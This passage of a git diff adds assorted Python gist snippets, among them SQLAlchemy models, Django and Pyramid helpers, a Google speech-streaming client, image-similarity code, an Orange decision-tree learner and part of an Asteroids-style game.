+db = SQLAlchemy(app)
+
+
+class Author(db.Model):
+    id = db.Column(db.Integer, primary_key=True)
+    name = db.Column(db.Text)
+    books = db.relationship('Book', backref='author')
+
+    def __repr__(self):
+        return '<Author:{}>'.format(self.name)
+
+
+class Book(db.Model):
+    id = db.Column(db.Integer, primary_key=True)
+    title = db.Column(db.Text)
+    content = db.Column(db.Text)
+    author_id = db.Column(db.Integer, db.ForeignKey('author.id'))
+
+    def __repr__(self):
+        return '<Book:{}>'.format(self.title)
+
+
+categories = db.Table('categories',
+                      db.Column('category_id', db.Integer, db.ForeignKey('category.id')),
+                      db.Column('book_id', db.Integer, db.ForeignKey('book.id'))
+)
+
+
+class Category(db.Model):
+    id = db.Column(db.Integer, primary_key=True)
+    name = db.Column(db.Text)
+    books = db.relationship('Book', secondary=categories,
+                            backref=db.backref('categories', lazy='dynamic'))
+
+    def __repr__(self):
+        return '<Category:{}>'.format(self.name)
+
+
+with app.app_context():
+    db.create_all()
+
+    bob = Author(name='Bob')
+    dune = Book(title='Dune')
+    moby_dick = Book(title='Moby Dick')
+
+    carol = Author(name='Carol')
+    ring_world = Book(title='Ring World')
+    fahrenheit = Book(title='Fahrenheit 451')
+
+    bob.books = [dune, moby_dick]
+    carol.books = [ring_world, fahrenheit]
+
+    db.session.add(bob)
+    db.session.add(carol)
+    db.session.commit()
+
+    author = Author.query.filter_by(name='Bob').first()
+    print author  # <Author:Carol>
+    print author.books  # [<Book:Ring World>, <Book:Fahrenheit 451>]
+
+    dune_book = Book.query.filter_by(title='Dune').first()
+    print dune_book  # <Book:Dune>
+    print dune_book.author  # <Author:Bob>
+
+    scifi = Category(name='Science Fiction')
+    classic = Category(name='Classic')
+
+    classic.books = [moby_dick, dune, fahrenheit]
+    scifi.books = [dune, ring_world]
+
+    db.session.add_all([classic, scifi])
+    db.session.commit()
+
+    print dune, dune.categories.all()
+    print dune.categories.filter(Category.name.ilike('sci%')).all()
+
+    alice = Author(name='Alice')
+    beowulf = Book(title='Beowulf')
+    beowulf.author = alice
+    beowulf.categories = [classic]
+    db.session.add(beowulf)
+    db.session.commit()
+
+    print Author.query.join(Author.books).filter(
+        Book.categories.contains(scifi)).all()
+
+    print Category.query.join(Category.books).filter(
+        Book.author==carol).all()
diff --git a/hard-gists/5752919/._snippet.py b/hard-gists/5752919/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5752919/._snippet.py differ
diff --git a/hard-gists/5752919/snippet.py b/hard-gists/5752919/snippet.py
new file mode 100644
index 00000000..efa272fe
--- /dev/null
+++ b/hard-gists/5752919/snippet.py
@@ -0,0 +1,30 @@
+from django import template
+from django.conf import settings
+import pystache
+
+# Needed to register a custom template tag
+register = template.Library()
+
+# Decorator to register a tag that takes the context
+@register.simple_tag(takes_context=True)
+# Function which takes the django context class and the template string
+def mustache(context, template, locale):
+
+# This can be modified to whatever template directory you want to hold your mustache templates
+# Opens the file for reading as a raw string, cannot use django's get_template or render_to_string methods
+# Because they attempt to render the context and actually return a class which pystache cannot use
+  template = open(settings.TEMPLATE_DIRS[0]+"/"+template, 'r').read()
+
+# To retrieve the context passed and not the class info from django, we convert the context to a list
+# After converted to a list, if the context is being passed from base, we want the first item in the list
+# If the context is passed from a block, we want the second item in the list, from an include the third
+  
+# In each template load in the custom tag: {% load mustache %}  
+  context_map = {
+      'base': list(context)[0], # {% mustache "_came_from_base_template.html" 'base' %}
+      'block': list(context)[1], # {% mustache "_came_from_block.html" 'include' %}
+      'include': list(context)[2] # {% mustache "_came_from_include.html" 'include' %}
+  }
+
+# Return the rendered template with pystache
+  return  pystache.render(template, context_map[locale])
\ No newline at end of file
diff --git a/hard-gists/5753650/._snippet.py b/hard-gists/5753650/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5753650/._snippet.py differ
diff --git a/hard-gists/5753650/snippet.py b/hard-gists/5753650/snippet.py
new file mode 100644
index 00000000..31c27e76
--- /dev/null
+++ b/hard-gists/5753650/snippet.py
@@ -0,0 +1,50 @@
+import arcpy
+
+class Toolbox(object):
+    def __init__(self):
+        self.label = u'Example_Toolbox'
+        self.alias = ''
+        self.tools = [FirstTool, SecondTool, ThirdTool]
+
+
+class FirstTool(object):
+
+    def __init__(self):
+        self.label = u'First Tool'
+        self.description = u''
+        self.canRunInBackground = False
+        self.category = "Import"
+
+    def getParameterInfo(self):
+        return
+
+    def execute(self, parameters, messages):
+        pass
+
+class SecondTool(object):
+
+    def __init__(self):
+        self.label = u'Second Tool'
+        self.description = u''
+        self.canRunInBackground = False
+        self.category = "Export"
+
+    def getParameterInfo(self):
+        return
+
+    def execute(self, parameters, messages):
+        pass
+
+class ThirdTool(object):
+
+    def __init__(self):
+        self.label = u'Third Tool'
+        self.description = u''
+        self.canRunInBackground = False
+        self.category = "Export"
+
+    def getParameterInfo(self):
+        return
+
+    def execute(self, parameters, messages):
+        pass
diff --git a/hard-gists/5761c3be67a0c7d78ec8/._snippet.py b/hard-gists/5761c3be67a0c7d78ec8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5761c3be67a0c7d78ec8/._snippet.py differ
diff --git a/hard-gists/5761c3be67a0c7d78ec8/snippet.py b/hard-gists/5761c3be67a0c7d78ec8/snippet.py
new file mode 100644
index 00000000..e00b1cce
--- /dev/null
+++ b/hard-gists/5761c3be67a0c7d78ec8/snippet.py
@@ -0,0 +1,48 @@
+import logging
+from rest_framework import serializers
+
+
+class GeneralModelSerializer(serializers.ModelSerializer):
+    """ General model serializer that will serialize a model object. It will return all the model fields.
+    """
+    class Meta:
+        model = None
+
+    def __init__(self, instance):
+        self.Meta.model = type(instance)
+        super(GeneralModelSerializer, self).__init__(instance=instance)
+
+
+class FeedSerializer(serializers.ModelSerializer):
+    target_object = serializers.SerializerMethodField('get_serialized_target_object')
+
+    SERIALIZERS = {
+        'accounts.user': MinimalUserSerializer,
+        'posts.post': MinimalPostSerializer
+    }
+
+    class Meta:
+        model = Action
+        fields = ('id', 'target_object', 'timestamp', 'public')
+
+    def get_serialized_target_object(self, obj):
+        """ Serialize a model object
+         If the object does not have special serializer class use the general one
+        """
+        content_type, pk = obj.target_content_type, obj.target_object_id
+        if content_type and pk:
+            model_class = content_type.model_class()
+            try:
+                instance = model_class.objects.get(pk=pk)
+            except model_class.DoesNotExist:
+                return None
+            app_model = '{0}.{1}'.format(content_type.app_label,content_type.model)
+            if app_model in self.SERIALIZERS.keys():
+                serializer = self.SERIALIZERS[app_model]
+            else:
+                logger = logging.getLogger(__name__)
+                logger.error('No secure serializer found for {0}'.format(app_model))
+                serializer = GeneralModelSerializer
+            return serializer(instance=instance).data
+        else:
+            return None
diff --git a/hard-gists/5763651/._snippet.py b/hard-gists/5763651/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5763651/._snippet.py differ
diff --git a/hard-gists/5763651/snippet.py b/hard-gists/5763651/snippet.py
new file mode 100644
index 00000000..cd284439
--- /dev/null
+++ b/hard-gists/5763651/snippet.py
@@ -0,0 +1,24 @@
+from pyramid.view import view_config
+
+class ViewDefaults(object):
+
+    def __init__(self, **settings):
+        self._default_settings = settings
+
+    def view(self, **view_settings):
+        effective_settings = self._default_settings.copy()
+        effective_settings.update(view_settings)
+        return view_config(**effective_settings)
+
+
+# create instance, for ex. in package __init__.py
+view_defaults = ViewDefaults(renderer='json', xhr=True)
+
+# decorate view
+from myapp import view_defaults
+
+# any default setting can be overwritten using this decorator (renderer in this case)
+@view_defaults.view(name='example', renderer='template.mako', request_method='GET')
+def my_view(context, request):
+    return {'foo': 'bar'}
+
diff --git a/hard-gists/5773979/._snippet.py b/hard-gists/5773979/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5773979/._snippet.py differ
diff --git a/hard-gists/5773979/snippet.py b/hard-gists/5773979/snippet.py
new file mode 100644
index 00000000..3fe3cf83
--- /dev/null
+++ b/hard-gists/5773979/snippet.py
@@ -0,0 +1,16 @@
+import sys
+import time
+import resource
+
+s = sys.argv[1].split('.')
+lru = __import__(s[0]).__dict__[s[1]]
+
+m = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
+t = time.clock()
+
+cache = lru(1000000)
+for i in xrange(1100000):
+  cache[i] = i
+
+print "Time : %r s, Memory : %r Kb" % (time.clock()-t,
+      resource.getrusage(resource.RUSAGE_SELF).ru_maxrss - m)
diff --git a/hard-gists/5778557/._snippet.py b/hard-gists/5778557/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5778557/._snippet.py differ
diff --git a/hard-gists/5778557/snippet.py b/hard-gists/5778557/snippet.py
new file mode 100644
index 00000000..fb49b4cb
--- /dev/null
+++ b/hard-gists/5778557/snippet.py
@@ -0,0 +1,28 @@
+from PyQt4 import QtCore, QtGui
+import maya.cmds as cmds
+import maya.OpenMayaUI as mui
+import sip
+
+def getMayaWindow():
+    ptr = mui.MQtUtil.mainWindow()
+    return sip.wrapinstance(long(ptr), QtCore.QObject)
+
+widget = QtGui.QDialog(getMayaWindow())
+widget.setObjectName("myWidget")
+
+button = QtGui.QPushButton("Right Click (hold) Me", widget)
+button.setObjectName("myButton")
+
+layout = QtGui.QVBoxLayout(widget)
+layout.setObjectName("myLayout")
+layout.addWidget(button)
+
+# Get the Maya path name to the widget
+name = mui.MQtUtil.fullName(long(sip.unwrapinstance(button))) 
+
+pop = cmds.popupMenu(mm=True, parent=name)
+for location in ("N", "NW", "W", "SW", "S", "SE", "E", "NE"):
+    item = cmds.menuItem(label="an option", rp=location)
+
+widget.resize(400,300)
+widget.show()
\ No newline at end of file
diff --git a/hard-gists/5780124/._snippet.py b/hard-gists/5780124/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5780124/._snippet.py differ
diff --git a/hard-gists/5780124/snippet.py b/hard-gists/5780124/snippet.py
new file mode 100644
index 00000000..4fa3b1f6
--- /dev/null
+++ b/hard-gists/5780124/snippet.py
@@ -0,0 +1,129 @@
+#!/usr/bin/python
+
+import flac.encoder as encoder
+import pyaudio
+import sys
+import requests
+import random
+
+from threading import Thread
+from Queue import Queue, Empty
+from time import sleep
+
+class google_stt_stream(object):
+    def __init__(self):
+        self.write_queue = Queue()
+        self.keep_streaming = True
+
+        self.upstream_url = "https://www.google.com/speech-api/full-duplex/v1/up?key=%(key)s&pair=%(pair)s&lang=en-US&maxAlternatives=20&client=chromium&continuous&interim"
+        self.upstream_headers = {'content-type': 'audio/x-flac; rate=16000'}
+        self.downstream_url = "https://www.google.com/speech-api/full-duplex/v1/down?pair=%(pair)s"
+        self.api_key = "<your_api_key>"
+
+    def generate_request_key(self):
+        return hex(random.getrandbits(64))[2:-1]
+
+    def start(self):
+        pair = self.generate_request_key()
+        upstream_url = self.upstream_url % {"pair": pair, "key": self.api_key}
+        downstream_url = self.downstream_url % {"pair": pair, "key": self.api_key}
+
+        self.session = requests.Session()
+        self.upstream_thread = Thread(target=self.upstream, args=(upstream_url,))
+        self.downstream_thread = Thread(target=self.downstream, args=(downstream_url,))
+
+        self.downstream_thread.start()
+        self.upstream_thread.start()
+ 
+    def stop(self):
+        print "Waiting write_queue to write all data"
+        self.write_queue.join()
+        print "Queue empty"
+        sleep(10)
+
+        self.keep_streaming=False
+        self.upstream_thread.join()
+        self.downstream_thread.join()
+
+    def write_data(self, data):
+        self.write_queue.put(data)
+
+    def gen_data(self):
+        while self.keep_streaming:
+            try:
+                item = self.write_queue.get(timeout=2)
+            except Empty:
+                return
+            yield item
+            self.write_queue.task_done()
+
+    def upstream(self, url):
+        print self.session.post(url, headers=self.upstream_headers, data=self.gen_data())
+
+    def downstream(self, url):
+        r = self.session.get(url, stream=True)
+        while self.keep_streaming:
+            try:
+                for line in r.iter_content():
+                    if not self.keep_streaming:
+                        break
+                    if line:
+                        sys.stdout.write(line)
+            except Exception as e:
+                print "Exception %s, restarting" %e
+                self.keep_streaming = False
+                self.upstream_thread.join()
+                self.keep_streaming = True
+                self.start()
+                return
+
+        print "end"
+
+stt = google_stt_stream()
+
+def write(enc, buf, samples, current_frame):
+    stt.write_data(buf)
+    #print current_frame, samples
+    return True
+
+#config
+chunk = 512
+FORMAT = pyaudio.paInt16
+CHANNELS = 1
+RATE = 16000
+THRESHOLD = 180 #The threshold intensity that defines silence signal (lower than).
+
+#open stream
+p = pyaudio.PyAudio()
+
+stream = p.open(format = FORMAT,
+                channels = CHANNELS,
+                rate = RATE,
+                input = True,
+                frames_per_buffer = chunk)
+
+
+# setup the encoder ...
+enc = encoder.StreamEncoder()
+enc.set_channels(1)
+#enc.set_bits_per_sample(wav.getsampwidth()*8)
+enc.set_sample_rate(16000)
+#enc.set_compression_level(0)
+
+# initialize
+if enc.init_stream(write) != encoder.FLAC__STREAM_ENCODER_OK:
+    print "Error"
+    sys.exit()
+
+# start encoding !
+stt.start()
+nsamples = 512
+while 1:
+    data = stream.read(nsamples)
+    if not data:
+        enc.finish()
+        break
+    enc.process(data, nsamples)
+    #sleep(.001)
+
+stt.stop()
\ No newline at end of file
diff --git a/hard-gists/5780127/._snippet.py b/hard-gists/5780127/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5780127/._snippet.py differ
diff --git a/hard-gists/5780127/snippet.py b/hard-gists/5780127/snippet.py
new file mode 100644
index 00000000..5438c692
--- /dev/null
+++ b/hard-gists/5780127/snippet.py
@@ -0,0 +1,73 @@
+'''
+Bunch of functions to do basic image similarity detection
+See:
+http://www.gossamer-threads.com/lists/python/python/901273
+http://sourceforge.net/projects/imsim/?source=dlp
+'''
+
+from PIL import Image
+from PIL import ImageStat
+
+
+def row_column_histograms (file_name):
+    '''Reduce the image to a 5x5 square of b/w brightness levels 0..3
+    Return two brightness histograms across Y and X
+    packed into a 10-item list of 4-item histograms.'''
+    im = Image.open (file_name)
+    im = im.convert ('L')       # convert to 8-bit b/w
+    w, h = 300, 300
+    im = im.resize ((w, h))
+    imst = ImageStat.Stat (im)
+    sr = imst.mean[0]   # average pixel level in layer 0
+    sr_low, sr_mid, sr_high = (sr*2)/3, sr, (sr*4)/3
+
+    def foo (t):
+        if t < sr_low: return 0
+        if t < sr_mid: return 1
+        if t < sr_high: return 2
+        return 3
+
+    im = im.point (foo) # reduce to brightness levels 0..3
+    yhist = [[0]*4 for i in xrange(5)]
+    xhist = [[0]*4 for i in xrange(5)]
+    for y in xrange (h):
+        for x in xrange (w):
+            k = im.getpixel ((x, y))
+            yhist[y / 60][k] += 1
+            xhist[x / 60][k] += 1
+    return yhist + xhist
+
+
+def difference_ranks (test_histogram, sample_histograms):
+    '''Return a list of difference ranks between the test histograms and
+    each of the samples.'''
+    result = [0]*len (sample_histograms)
+    for k, s in enumerate (sample_histograms):  # for each image
+        for i in xrange(10):    # for each histogram slot
+            for j in xrange(4): # for each brightness level
+                result[k] += abs (s[i][j] - test_histogram[i][j])
+    return result
+
+
+if __name__ == '__main__':
+    import getopt, sys
+    opts, args = getopt.getopt (sys.argv[1:], '', [])
+    if not args:
+        args = [
+            'bears1.jpg',
+            'bears2.jpg',
+        ]
+        test_pic = 'bears0.jpg'
+    else:
+        test_pic, args = args[0], args[1:]
+
+    z = [row_column_histograms (a) for a in args]
+    test_z = row_column_histograms (test_pic)
+
+    file_ranks = zip (difference_ranks (test_z, z), args)
+    file_ranks.sort()
+
+    print '%12s' % (test_pic,)
+    print '--------------------'
+    for r in file_ranks:
+        print '%12s %7.2f' % (r[1], r[0] / 3600.0,)
\ No newline at end of file
diff --git a/hard-gists/5781308/._snippet.py b/hard-gists/5781308/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5781308/._snippet.py differ
diff --git a/hard-gists/5781308/snippet.py b/hard-gists/5781308/snippet.py
new file mode 100644
index 00000000..c07d5c38
--- /dev/null
+++ b/hard-gists/5781308/snippet.py
@@ -0,0 +1,34 @@
+from gzip import GzipFile
+from io import BytesIO
+import urllib2
+from uuid import uuid4
+import gdal
+ 
+ 
+def open_http_query(url):
+    try:
+        request = urllib2.Request(url, 
+            headers={"Accept-Encoding": "gzip"})
+        response = urllib2.urlopen(request, timeout=30)
+        if response.info().get('Content-Encoding') == 'gzip':
+            return GzipFile(fileobj=BytesIO(response.read()))
+        else:
+            return response
+    except urllib2.URLError:
+        return None
+        
+        
+def open_image(url):
+    image_data = open_http_query(url)
+    
+    if not image_data:
+            return None
+            
+    mmap_name = "/vsimem/"+uuid4().get_hex()
+    gdal.FileFromMemBuffer(mmap_name, image_data.read())
+    gdal_dataset = gdal.Open(mmap_name)
+    image = gdal_dataset.GetRasterBand(1).ReadAsArray()
+    gdal_dataset = None
+    gdal.Unlink(mmap_name)
+    
+    return image
diff --git a/hard-gists/5782780/._snippet.py b/hard-gists/5782780/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5782780/._snippet.py differ
diff --git a/hard-gists/5782780/snippet.py b/hard-gists/5782780/snippet.py
new file mode 100644
index 00000000..be1f984a
--- /dev/null
+++ b/hard-gists/5782780/snippet.py
@@ -0,0 +1,145 @@
+#
+# orange_custom_tree.py
+# Module implementing a custom version of Orange's TreeLearner which "forces"
+# the first split to the specified attribute.
+#
+# Copyright (C) 2013 Tadej Janez
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+# Author(s): Tadej Janez <tadej.janez@tadej.hicsalta.si>
+#
+
+import Orange
+import Orange.classification.tree as octree
+import Orange.feature.scoring as fscoring
+
+class ForcedFirstSplitTreeLearner(octree.TreeLearner):
+    
+    """A custom version of Orange.classification.tree.TreeLearner which "forces"
+    the first split to the specified attribute.
+    
+    """
+        
+    def __init__(self, first_split_attr=None, **kwargs):
+        """Initialize the ForcedFirstSplitTreeLearner.
+        
+        Keyword arguments:
+        first_splitt_attr -- string representing the name of the attribute to
+            be used for the first split
+        kwargs -- dictionary of keyword arguments passed to the standard
+            Orange.classification.tree.TreeLearner
+        
+        """
+        self.first_split_attr = first_split_attr
+        super(ForcedFirstSplitTreeLearner, self).__init__(**kwargs)
+    
+    def _new_tree_node(self, instances):
+        """Create a new Orange.classification.tree.Node object for the given
+        instances. Compute the node's contingency table, distribution and
+        classifier. Return the constructed Orange.classification.tree.Node
+        object. 
+        
+        Arguments:
+        instances -- Orange.data.Table holding instances corresponding to this
+            tree node
+        
+        """
+        node = octree.Node()
+        node.examples = instances
+        node.contingency = Orange.statistics.contingency.Domain(instances)
+        node.distribution = node.contingency.classes
+        if self.base_learner.node_learner != None:
+            node_learner = self.base_leaner.node_learner
+        else:
+            node_learner = Orange.classification.majority.MajorityLearner() 
+        node.node_classifier = node_learner(instances)
+        return node
+    
+    def __call__(self, instances, weight=0):
+        """Build a decision tree for the given instances according to the
+        specified parameters.
+        Return an Orange.classification.tree.TreeClassfier object with the
+        constructed tree.
+        
+        Arguments:
+        instances -- Orange.data.Table holding learning instances
+        
+        Keyword arguments:
+        weight -- meta attribute with weights of instances (optional)
+        
+        """
+        # create an (internal) Orange.core.TreeLearner object
+        bl = self._base_learner()
+        self.base_learner = bl
+
+        # set the scoring criteria if it was not set by the user
+        if not self._handset_split and not self.measure:
+            if instances.domain.class_var.var_type == Orange.data.Type.Discrete:
+                measure = fscoring.GainRatio()
+            else:
+                measure = fscoring.MSE()
+            bl.split.continuous_split_constructor.measure = measure
+            bl.split.discrete_split_constructor.measure = measure
+        # set the splitter if it was set by the user
+        if self.splitter != None:
+            bl.example_splitter = self.splitter
+        
+        # set up a boolean list with one entry for each feature and select the
+        # (single) feature that the SplitConstructor should consider
+        candidate_feat = [feat.name == self.first_split_attr for feat in
+                          instances.domain]
+        # create the tree's root node
+        root_node = self._new_tree_node(instances)
+        # call the SplitConstructor for the root node manually
+        bs, bd, ss, quality, spent_feature = self.split(instances, weight,
+            root_node.contingency, root_node.distribution, candidate_feat,
+            root_node.node_classifier)
+        root_node.branch_selector = bs
+        root_node.branch_descriptions = bd
+        root_node.branch_sizes = ss
+        # split the examples into subsets by calling the appropriate Splitter
+        if self.splitter != None:
+            splitter = self.splitter
+        else:
+            splitter = octree.Splitter_IgnoreUnknowns()
+        subsets = splitter(root_node, root_node.examples)[0]
+        # build a sub-tree for each subset (which is not None) and store it as
+        # a branch of the root_node
+        root_node.branches = []
+        for subset in subsets:
+            if subset != None:
+                subtree = bl(subset, weight)
+                root_node.branches.append(subtree.tree)
+        # create an (internal) Orange.core.TreeClassifier object
+        descender = getattr(self, "descender", octree.Descender_UnknownMergeAsBranchSizes())
+        tree = octree._TreeClassifier(domain=instances.domain, tree=root_node,
+                                      descender=descender)
+        
+        # perform post pruning
+        if getattr(self, "same_majority_pruning", 0):
+            tree = Pruner_SameMajority(tree)
+        if getattr(self, "m_pruning", 0):
+            tree = Pruner_m(tree, m=self.m_pruning)
+        
+        return octree.TreeClassifier(base_classifier=tree)
+
+if __name__ == "__main__":
+    data = Orange.data.Table("titanic")
+    nt = octree.TreeLearner(data)
+    print "'Normal' TreeLearner:"
+    print nt # should have the 'sex' attribute as the first split
+    print
+    
+    ffst = ForcedFirstSplitTreeLearner(data, first_split_attr="age")
+    print "ForcedFirstSplitTreeLearner:"
+    print ffst # should have 'age' attribute as the first split
diff --git a/hard-gists/5787626/._snippet.py b/hard-gists/5787626/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5787626/._snippet.py differ
diff --git a/hard-gists/5787626/snippet.py b/hard-gists/5787626/snippet.py
new file mode 100644
index 00000000..8c408f42
--- /dev/null
+++ b/hard-gists/5787626/snippet.py
@@ -0,0 +1,372 @@
+# Mini-project #8 - "RiceRocks" (Asteroids)
+#
+# 'Introduction to Interactive Programming in Python' Course
+# RICE University - coursera.org
+# by Joe Warren, John Greiner, Stephen Wong, Scott Rixner
+
+import simplegui
+import math
+import random
+
+# globals for user interface
+WIDTH = 800
+HEIGHT = 600
+score = 0
+lives = 3
+time = 0.5
+started = False
+
+
+class ImageInfo:
+
+    def __init__(self, center, size, radius=0, lifespan=None, animated=False):
+        self.center = center
+        self.size = size
+        self.radius = radius
+        if lifespan:
+            self.lifespan = lifespan
+        else:
+            self.lifespan = float('inf')
+        self.animated = animated
+
+    def get_center(self):
+        return self.center
+
+    def get_size(self):
+        return self.size
+
+    def get_radius(self):
+        return self.radius
+
+    def get_lifespan(self):
+        return self.lifespan
+
+    def get_animated(self):
+        return self.animated
+
+
+# art assets created by Kim Lathrop, may be freely re-used in
+# non-commercial projects, please credit Kim
+
+# debris images - debris1_brown.png, debris2_brown.png, debris3_brown.png, debris4_brown.png
+# debris1_blue.png, debris2_blue.png, debris3_blue.png, debris4_blue.png,
+# debris_blend.png
+debris_info = ImageInfo([320, 240], [640, 480])
+debris_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/debris2_blue.png")
+
+# nebula images - nebula_brown.png, nebula_blue.png
+nebula_info = ImageInfo([400, 300], [800, 600])
+nebula_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/nebula_blue.png")
+
+# splash image
+splash_info = ImageInfo([200, 150], [400, 300])
+splash_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/splash.png")
+
+# ship image
+ship_info = ImageInfo([45, 45], [90, 90], 35)
+ship_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/double_ship.png")
+
+# missile image - shot1.png, shot2.png, shot3.png
+missile_info = ImageInfo([5, 5], [10, 10], 3, 50)
+missile_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/shot2.png")
+
+# asteroid images - asteroid_blue.png, asteroid_brown.png, asteroid_blend.png
+asteroid_info = ImageInfo([45, 45], [90, 90], 40)
+asteroid_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/asteroid_blue.png")
+
+# animated explosion - explosion_orange.png, explosion_blue.png,
+# explosion_blue2.png, explosion_alpha.png
+explosion_info = ImageInfo([64, 64], [128, 128], 17, 24, True)
+explosion_image = simplegui.load_image(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/explosion_alpha.png")
+
+# sound assets purchased from sounddogs.com, please do not redistribute
+# .ogg versions of sounds are also available, just replace .mp3 by .ogg
+soundtrack = simplegui.load_sound(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/soundtrack.mp3")
+missile_sound = simplegui.load_sound(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/missile.mp3")
+missile_sound.set_volume(.5)
+ship_thrust_sound = simplegui.load_sound(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/thrust.mp3")
+explosion_sound = simplegui.load_sound(
+    "http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/explosion.mp3")
+
+
+# helper functions to handle transformations
+def angle_to_vector(ang):
+    return [math.cos(ang), math.sin(ang)]
+
+
+def dist(p, q):
+    return math.sqrt((p[0] - q[0]) ** 2 + (p[1] - q[1]) ** 2)
+
+
+def process_sprite_group(group, canvas):
+    for each in set(group):
+        each.draw(canvas)
+        if each.update():
+            group.remove(each)
+
+
+def group_collide(group, other_object):
+    global explosion_group
+    collided = False
+    for each in set(group):
+        if each.collide(other_object):
+            group.remove(each)
+            collided = True
+            explosion_group.add(Sprite(each.pos, [0, 0], 0, 0, explosion_image,
+                                       explosion_info, explosion_sound))
+    return collided
+
+
+def group_group_collide(group, other_group):
+    counter = 0
+    for each in set(group):
+        collision = group_collide(other_group, each)
+        if collision:
+            group.remove(each)
+            counter += 1
+    return counter
+
+
+# Ship class
+class Ship:
+
+    def __init__(self, pos, vel, angle, image, info):
+        self.pos = [pos[0], pos[1]]
+        self.vel = [vel[0], vel[1]]
+        self.thrust = False
+        self.angle = angle
+        self.angle_vel = 0
+        self.image = image
+        self.image_center = info.get_center()
+        self.image_size = info.get_size()
+        self.radius = info.get_radius()
+
+    def draw(self, canvas):
+        center = list(self.image_center)
+        if self.thrust:
+            center[0] = self.image_center[0] + self.image_size[0]
+        canvas.draw_image(self.image, center, self.image_size,
+                          self.pos, self.image_size, self.angle)
+
+    def update(self):
+        # update angle
+        self.angle += self.angle_vel
+
+        # update position
+        self.pos[0] = (self.pos[0] + self.vel[0]) % WIDTH
+        self.pos[1] = (self.pos[1] + self.vel[1]) % HEIGHT
+
+        # update velocity
+        if self.thrust:
+            acc = angle_to_vector(self.angle)
+            self.vel[0] += acc[0] * .1
+            self.vel[1] += acc[1] * .1
+
+        self.vel[0] *= .99
+        self.vel[1] *= .99
+
+    def set_thrust(self, on):
+        self.thrust = on
+        if on:
+            ship_thrust_sound.rewind()
+            ship_thrust_sound.play()
+        else:
+            ship_thrust_sound.pause()
+
+    def increment_angle_vel(self):
+        self.angle_vel += .05
+
+    def decrement_angle_vel(self):
+        self.angle_vel -= .05
+
+    def shoot(self):
+        global missile_group
+        forward = angle_to_vector(self.angle)
+        missile_pos = [self.pos[0] + self.radius * forward[0],
+                       self.pos[1] + self.radius * forward[1]]
+        missile_vel = [self.vel[0] + 6 * forward[0],
+                       self.vel[1] + 6 * forward[1]]
+        missile_group.add(Sprite(missile_pos, missile_vel, self.angle, 0,
+                                 missile_image, missile_info, missile_sound))
+
+
+# Sprite class
+class Sprite:
+
+    def __init__(self, pos, vel, ang, ang_vel, image, info, sound=None):
+        self.pos = [pos[0], pos[1]]
+        self.vel = [vel[0], vel[1]]
+        self.init_vel = [vel[0], vel[1]]
+        self.angle = ang
+        self.angle_vel = ang_vel
+        self.image = image
+        self.image_center = info.get_center()
+        self.image_size = info.get_size()
+        self.radius = info.get_radius()
+        self.lifespan = info.get_lifespan()
+        self.animated = info.get_animated()
+        self.age = 0
+        if sound:
+            sound.rewind()
+            sound.play()
+
+    def draw(self, canvas):
+        center = list(self.image_center)
+        if self.animated:
+            center[0] = self.image_center[0] + (self.image_size[0] * self.age)
+        canvas.draw_image(self.image, center, self.image_size,
+                          self.pos, self.image_size, self.angle)
+
+    def update(self):
+        # update angle
+        self.angle += self.angle_vel
+
+        # update position
+        self.pos[0] = (self.pos[0] + self.vel[0]) % WIDTH
+        self.pos[1] = (self.pos[1] + self.vel[1]) % HEIGHT
+
+        self.age += 1
+        return self.age > self.lifespan
+
+    def collide(self, other_object):
+        return dist(self.pos, other_object.pos) <= self.radius + other_object.radius
+
+
+# key handlers to control ship
+def keydown(key):
+    if key == simplegui.KEY_MAP['left']:
+        my_ship.decrement_angle_vel()
+    elif key == simplegui.KEY_MAP['right']:
+        my_ship.increment_angle_vel()
+    elif key == simplegui.KEY_MAP['up']:
+        my_ship.set_thrust(True)
+    elif key == simplegui.KEY_MAP['space']:
+        my_ship.shoot()
+
+
+def keyup(key):
+    if key == simplegui.KEY_MAP['left']:
+        my_ship.increment_angle_vel()
+    elif key == simplegui.KEY_MAP['right']:
+        my_ship.decrement_angle_vel()
+    elif key == simplegui.KEY_MAP['up']:
+        my_ship.set_thrust(False)
+
+
+# mouseclick handlers that reset UI and conditions whether splash image is
+# drawn
+def click(pos):
+    global started, lives, score, soundtrack
+    center = [WIDTH / 2, HEIGHT / 2]
+    size = splash_info.get_size()
